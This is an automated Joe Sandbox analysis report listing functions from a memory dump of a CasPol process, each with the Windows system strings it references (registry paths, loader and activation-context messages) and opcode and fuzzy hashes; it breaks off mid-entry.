Instruction Fuzzy Hash: 6A41E132A002919FCB31CE6CD841A2A7BE5FF89A90F06056DED88EFB51D330D800CB91

Function 015833A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

RtlCreateActivationContext, xrefs: 015C29F9
Actx , xrefs: 015833AC
SXS: %s() passed the empty activation context data, xrefs: 015C29FE

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: 4c3ea40cf3309cce90d3fdd9543abe3e05241b3f187df79ee2bb3243df3bcbf2
Instruction ID: 9581c4af80c610af95593e1cccd66f105e7f820cc29b75c561eb5ae04522d9bb
Opcode Fuzzy Hash: 4c3ea40cf3309cce90d3fdd9543abe3e05241b3f187df79ee2bb3243df3bcbf2
Instruction Fuzzy Hash: 463148362103029FEB26EF5CCC84B9A77A4FB84B10F154429FD05AF2A1DBB0D851CB90

Function 015DB594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

@, xrefs: 015DB670
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 015DB632
GlobalFlag, xrefs: 015DB68F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: ea9327baa98b5316a8ad7dee42d5598aba2416e49e53a3b318461f3e530cebfd
Instruction ID: d5863f39186604927f2e73516d53ec7a4204cd471b4fb5c909b4a2f46c8b4ffe
Opcode Fuzzy Hash: ea9327baa98b5316a8ad7dee42d5598aba2416e49e53a3b318461f3e530cebfd
Instruction Fuzzy Hash: 2F313CB1A0021AAFDF10EF99CC80AEEBBB9FF45744F150469E605AB150D7749E40CBA4

Function 01591270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0159127B
BuildLabEx, xrefs: 0159130F
@, xrefs: 015912A5

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction ID: 9a74ee03c87c152cc23013de3b54335503fdcf128cbb94b3dd48149ab5c6265e
Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction Fuzzy Hash: C031A17290051ABFDF11AF95CC40EDEBBBDFB94764F004425EA04AB2A0E730DA058BA1

Function 015D20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON

Download Yara Rule

Strings

Process initialization failed with status 0x%08lx, xrefs: 015D20F3
minkernel\ntdll\ldrinit.c, xrefs: 015D2104
LdrpInitializationFailure, xrefs: 015D20FA

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 0-2986994758
Opcode ID: 31b5145b6577dd8044927da6ea3cca4cda6afb7ed540913be2e58e7390f8e78a
Instruction ID: 2d5c5aa1f3c5b0925aec05b3a51815ae83136065243a1c312ba745ef9b9a83bc
Opcode Fuzzy Hash: 31b5145b6577dd8044927da6ea3cca4cda6afb7ed540913be2e58e7390f8e78a
Instruction Fuzzy Hash: 1EF02279640309ABE730EA9DCC42FA93B68FB80B44F100058FA406F281D2B0A900C781

Function 015603E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 015B4D8A

Strings

#%u, xrefs: 015B4D82

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: 9ae641ff84f560c800cecaa0218d4b135ab530eb41748bd9a5f8fcae71950016
Instruction ID: 41f17952c0d0d6beef7c478fd6ab3e49a0ede5e3744132716a1296da380231c4
Opcode Fuzzy Hash: 9ae641ff84f560c800cecaa0218d4b135ab530eb41748bd9a5f8fcae71950016
Instruction Fuzzy Hash: 42715B71A0014A9FDB11DFA8C990BAEB7F8FF58744F144065E905EB292EB34ED01CBA1

Function 015652A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 01565445
@, xrefs: 015655A3

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: d498acf1e81909beb6e1011a5f3a297e7b5f6d31c2ca5cc7f8c32790396442a9
Instruction ID: d3a02d4e2cb4a4c05300109e3a808462233a1e9de3d822bab9a363d45db9022d
Opcode Fuzzy Hash: d498acf1e81909beb6e1011a5f3a297e7b5f6d31c2ca5cc7f8c32790396442a9
Instruction Fuzzy Hash: 37326B706583528FD7248F19C58077EBBE9BF84784F14492EFA859F290E734D984CB92

Function 0161A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 0161A44B
`, xrefs: 0161A551

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: 0638445b6a93f4967d43ce0cdd223a67b9c31d6c88be1de91783da0eeff0c865
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: DCC1BF312053829BE725CF68CC41B6BBBE5AFC4318F084A2DF696CB299D775D505CB81

Function 015504E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0155063D
kLsE, xrefs: 01550540

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: aa1fa597732325f5c38d18aa8ad50a9c4a3d3f9ab7e97f0165a8e2da34797d95
Instruction ID: bd88a9585d882befb31bc136362743f248e2de4d8e01029a06e4e87ebb471e80
Opcode Fuzzy Hash: aa1fa597732325f5c38d18aa8ad50a9c4a3d3f9ab7e97f0165a8e2da34797d95
Instruction Fuzzy Hash: F551BD715147428FD764EF28C5506ABBBE4BF85304F10483FFAAA8B281E770D545CBA2

Function 0155A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 0155A309
RtlpResUltimateFallbackInfo Enter, xrefs: 0155A2FB

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 31e2b9b1a13813f9b6a8a7ce43be25cea27f9c92c6203d53632bb999fda73759
Instruction ID: 7851cf93fbc7f15c432eea0cc399bae2078f2d0f461aedf1c0598770f82b2448
Opcode Fuzzy Hash: 31e2b9b1a13813f9b6a8a7ce43be25cea27f9c92c6203d53632bb999fda73759
Instruction Fuzzy Hash: 7241CD31A00646DBDB21CF59C890BAE7BF4FF85304F1545AAED04DF292E6B5D940CB61

Function 015E35BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 015E35FE
LdrResGetRCConfig Enter, xrefs: 015E35EC

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: b1cac72d7acc4420951042b9171f7bedd104b4131a9ab9376cfc0e748b19ca73
Instruction ID: c034b4cd3aeb480cfe1a73e3098e444192d32fb519957f2ae0849a6851bf64bc
Opcode Fuzzy Hash: b1cac72d7acc4420951042b9171f7bedd104b4131a9ab9376cfc0e748b19ca73
Instruction Fuzzy Hash: 9D31CF316087829BE365DB68D858B2ABBE4FFD5754F040869F954CF390EB30D905CB92

Function 0158329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 0158330D
.Local\, xrefs: 015832B5

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: d60d2c2142f83e42b4efa40f94f96ddc9f8ad853e0a7741444402646ba281302
Instruction ID: 11319a7f22ec6c9e1f69c667828ed9602254c603e3ecdbfce63e59da6e0eaab4
Opcode Fuzzy Hash: d60d2c2142f83e42b4efa40f94f96ddc9f8ad853e0a7741444402646ba281302
Instruction Fuzzy Hash: E2319072509305AFD751EF28C880A6FBBE8FB85A54F44092EF9959B310EA30DD04CB92

Function 015834B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 015C2A90
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 015C2A95

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: bbdd95105d31706083bf5c3f7da2ce253b2dca731cd731025583a11de06fa97a
Instruction ID: 58d241f95d6f939cadd2faf88e11c8218f4254645553d605af61c4eea56d44e3
Opcode Fuzzy Hash: bbdd95105d31706083bf5c3f7da2ce253b2dca731cd731025583a11de06fa97a
Instruction Fuzzy Hash: BF110676B00205AFE7259E8C8D45F6A76A9BB94F54F18802D7A04EF250E6B4CD00C2A0

Function 0158A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Cleanup Group, xrefs: 0158A5E4
Threadpool!, xrefs: 0158A5E9

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: d7915badc12d0836086fca8328e11107117a7d1c965d733d5996666d184f0a48
Instruction ID: 004df651e2e346d61c487d0d6a3f7562e296569fc6d4d104271886781c8df69c
Opcode Fuzzy Hash: d7915badc12d0836086fca8328e11107117a7d1c965d733d5996666d184f0a48
Instruction Fuzzy Hash: CA01DCB2655700AFD321EF24CD45B2677E8F785B29F00893AA648CB194E374E804CB4A

Function 01557370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7c29363f2956ade986217c863a3b7076efcda5f71e19e191c8a4e6a0adc0584
Instruction ID: 8448030fb7d95fdae091f12683286633983df64197a5c4f3b090821a310bf764
Opcode Fuzzy Hash: a7c29363f2956ade986217c863a3b7076efcda5f71e19e191c8a4e6a0adc0584
Instruction Fuzzy Hash: 7CA18BB1608742CFC761CF28D490A2EBBE6BF98304F51492EF9858B351E730E945CB92

Function 0160B256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 0160B28F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: PreferredUILanguages
API String ID: 0-1884656846
Opcode ID: c07afe34836f2c039153ee4e8c90b0004609d67ffdfd6ee07457dce7dd420c25
Instruction ID: 7c89ac5addf6e9a0f8a8660a303a3346ff228fb3f5f306fa2abd2370f7a1fcca
Opcode Fuzzy Hash: c07afe34836f2c039153ee4e8c90b0004609d67ffdfd6ee07457dce7dd420c25
Instruction Fuzzy Hash: 6E41977690021AABDF1A9A98CC40AEFB779FF44750F158166EE11EB390DB74DD40C7A0

Function 015F705E Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

kLsE, xrefs: 015F70A4

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: kLsE
API String ID: 0-3058123920
Opcode ID: c734203716396781004552963a879b02a033ad98e60f90a601fbacf54ded5bc9
Instruction ID: 20f973ecf275fc2c51bf81b4a5e8d40c35f700afb3b74d1cada324d0c3685cb5
Opcode Fuzzy Hash: c734203716396781004552963a879b02a033ad98e60f90a601fbacf54ded5bc9
Instruction Fuzzy Hash: 2541693A1013538BE731EB68EC85BA93FA5FB46724F14212DEE908E1C9CBB04495C7A1

Function 01587505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

#, xrefs: 015C4622

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction ID: d54f6cb44d0f63ebe692ceee9d8e6986fcebbf5d364e07c7b4b50af73eaf4a2a
Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction Fuzzy Hash: 5A419D75A00656EFDF21AF88C490BBEB7B5FF89701F10445AE945AF200DB30D981CBA1

Function 01555096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 015550BF

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: ace7698a907bb9859aa5d9c361658dabae79df57933e5c8cb1594290fcd925fb
Instruction ID: 9cd0f448e18b9596be4b5865c23d78994c4de79621be105c45f94fb333290632
Opcode Fuzzy Hash: ace7698a907bb9859aa5d9c361658dabae79df57933e5c8cb1594290fcd925fb
Instruction Fuzzy Hash: B411B6307256028BEBA5491D887067ABBD5FB82224F34893BED92CF3A1F671DC418380

Function 015A739A Relevance: .7, Instructions: 705COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f933f45c27347e510470cbb9541ac9dc88ca1dd7041121623c7f3b4cfd378ae
Instruction ID: 687e4a11e2838560bc0dc00e4d3e363db65613471521a289ffbba44c253bd645
Opcode Fuzzy Hash: 3f933f45c27347e510470cbb9541ac9dc88ca1dd7041121623c7f3b4cfd378ae
Instruction Fuzzy Hash: 4B42AE71A406168FDB19CF58C890AAEBBF2FF8C314B58856DD552AF341D736E842CB90

Function 0157B2C0 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5c262f0d90eae5dea98aec7ad4d98ec7ef8124a28e10651b448a1d681bf94a3
Instruction ID: f031e2003eb90fe9de0860efbeb7f1a24b240dbfafba83d4a115d7bbc2f30802
Opcode Fuzzy Hash: f5c262f0d90eae5dea98aec7ad4d98ec7ef8124a28e10651b448a1d681bf94a3
Instruction Fuzzy Hash: A0329F75E0021A9BDF14DFA8D891BEEBBB2FF94714F180029E905AF381E7359911CB91

Function 015FA118 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad03b7761e2f6860bcbc33253244e6882cb78e9c747b5d214dd82b4709dbae7a
Instruction ID: ad96a43cb2bce1bde5f23ebecd6317761f40c34ed2737d784e2fb10244bb188e
Opcode Fuzzy Hash: ad03b7761e2f6860bcbc33253244e6882cb78e9c747b5d214dd82b4709dbae7a
Instruction Fuzzy Hash: 6D22BF746046618BEB25CF2DC09477ABBF1BF44340F18885DDB8A8F286E735E452CB62

Function 015565D0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beae7956ec97f07d320707852549056547ffb5d042976e3031e9a101405218af
Instruction ID: b17ac3e9c4f89d2ce02237a0d28ad39c05d11340ebfe928a8fe75eb685d76b6b
Opcode Fuzzy Hash: beae7956ec97f07d320707852549056547ffb5d042976e3031e9a101405218af
Instruction Fuzzy Hash: 93E18F71508382CFC755CF28C5A0A6ABBF0FF89314F45896EE9958B351DB31E905CB92

Function 01548397 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a52abafbbef5b745bf6cc9f9c490658f584db4a0c4226650ba16e300f6f62b3
Instruction ID: d72d15d76b8db6eb1948a4503e3d5fa869ff3b04668ef34a56ffa56727dd6d9a
Opcode Fuzzy Hash: 4a52abafbbef5b745bf6cc9f9c490658f584db4a0c4226650ba16e300f6f62b3
Instruction Fuzzy Hash: BAD1E471A006079BDB14DFA8C890ABE77F5BF94308F15862DE916DF281E734E954CBA0

Function 0156F460 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff5800002be0dcea0120ef257bdb9c473c7282f0f74f24f1fd6b202a346e5658
Instruction ID: 86c43411919e1b1f19e768f34fe76df6e7b8e4592118b634083f30974d543857
Opcode Fuzzy Hash: ff5800002be0dcea0120ef257bdb9c473c7282f0f74f24f1fd6b202a346e5658
Instruction Fuzzy Hash: 8EC10235E002228BDB24CF2CE9A07BD7BA9FF94718F19415AD9429F2A5D7708D50CBE0

Function 01560535 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction ID: 1bdd386f5ee26ac26feab83f312b40d3bb8f5c0a66be576e3a162fdfb2ecb7ab
Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction Fuzzy Hash: CAB1D731604646AFDB25DB68C890BBEBBFABF94200F144559E6569F3C2E730ED41CB90

Function 015790DB Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f1428757bae3c43c2daff1983c713bf4ccd08dd15c2e39a88755d52d44100ba
Instruction ID: efe62f53236dc4a3dd0e2b712f78552c25d53388db6757c50621243b8530e924
Opcode Fuzzy Hash: 3f1428757bae3c43c2daff1983c713bf4ccd08dd15c2e39a88755d52d44100ba
Instruction Fuzzy Hash: ABA14C71910256AFEB12EFA8CC81FAE7BB9BF85754F050054FA04AF2A0D7759C10CBA0

Function 015583C0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0f683f3190377037ef641d2536d50bc5962cc702bdb46b5f29e5b274658fa88
Instruction ID: 3efb9c9cc78b1bf0b869157e9d41f750ffe3295d8f4ea4e998df24b193ff28f5
Opcode Fuzzy Hash: e0f683f3190377037ef641d2536d50bc5962cc702bdb46b5f29e5b274658fa88
Instruction Fuzzy Hash: 02C13A74108341DFD7A4CF19C494BAEBBE5BF88308F44495EE9898B291D774E909CF52

Function 0154C427 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4944ab81910552b7990ebfcae1257f72b58e2901acbbd2bdd9ce078f7375ba9a
Instruction ID: e3ead6291cfa78adfdd629ba2e397806815b75ea520d6bdbf3409462f01f64cb
Opcode Fuzzy Hash: 4944ab81910552b7990ebfcae1257f72b58e2901acbbd2bdd9ce078f7375ba9a
Instruction Fuzzy Hash: 73B16170A002668BDB65DF68C890BADB3F5FF84704F0485E9D50AAB291EB70DD85CB61

Function 0157E5E7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b87d65bdcb402b21c93b2ec8232a545d4c9838b945dc2799993f02d67ff9f5f
Instruction ID: 7145dff9349fe9720d5861490ba565a3b5b9354254916b04a2e825d55ddb6ad1
Opcode Fuzzy Hash: 0b87d65bdcb402b21c93b2ec8232a545d4c9838b945dc2799993f02d67ff9f5f
Instruction Fuzzy Hash: D2A11231E00356AFEB21DB98EC86BAEBBB4FB40754F140166EA00AF291D7749D40CBD1

Function 01590185 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4597bfbe57acffe87e35f52f0b54774d2bb666af99ea85351f6aa2b5dfedea
Instruction ID: af655fef3478570a1637eab4118dd68926200f5de98fb11e8ab8fbad861cfcc6
Opcode Fuzzy Hash: 6d4597bfbe57acffe87e35f52f0b54774d2bb666af99ea85351f6aa2b5dfedea
Instruction Fuzzy Hash: 1FA1B070A006169FDF25CFA9C991BAEB7F9FF54718F004829EA059F2C1DB34A851CB91

Function 01624500 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d1913f633b51da5628da356b9bbf4c4050ede79105bebd9b91de2dd95438bf5
Instruction ID: 6120cc7303c2996612d0cbb83325e0b0fa4643a64cdbb16e4f196c28a7f9b435
Opcode Fuzzy Hash: 5d1913f633b51da5628da356b9bbf4c4050ede79105bebd9b91de2dd95438bf5
Instruction Fuzzy Hash: 37A1CE72610A229FD721DF18CD80B6AB7E9FF89744F050528E5899B751DB74EC01CF91

Function 0156E3F0 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160d2046c7ad2597f9f811e95a2c8bebcb0e2003489846c47c224c3da14087a6
Instruction ID: fe94fe1ef986303d0f8c52500f90512ac9de16dd62a2c60717ffba6e51d97351
Opcode Fuzzy Hash: 160d2046c7ad2597f9f811e95a2c8bebcb0e2003489846c47c224c3da14087a6
Instruction Fuzzy Hash: 23913479A01616CBEB24DB28C881BBDBBA9FFA4714F044465EE059F380E734D901C7D1

Function 01551131 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d7b57c4b876fcbb16b17a787f064a04f3369cb0c1fc147c9d9b2f1fffeafee
Instruction ID: 768e0b59b3d85b321c9485bbbb7c10a76a0f1ee60a7a0864c5f0a028e116cb28
Opcode Fuzzy Hash: 13d7b57c4b876fcbb16b17a787f064a04f3369cb0c1fc147c9d9b2f1fffeafee
Instruction Fuzzy Hash: F9B100B56097418FD764CF28C580A5AFBE1BF88304F584A6EE999CB352D331E945CB82

Function 01559486 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb69949161ada36db000ce44d84b1ada0e578755b90ee21bc498788d8967f343
Instruction ID: 560ce4e915b4ecc4201810cd8604849c824918e20f1e3b4b91998fa82784adfa
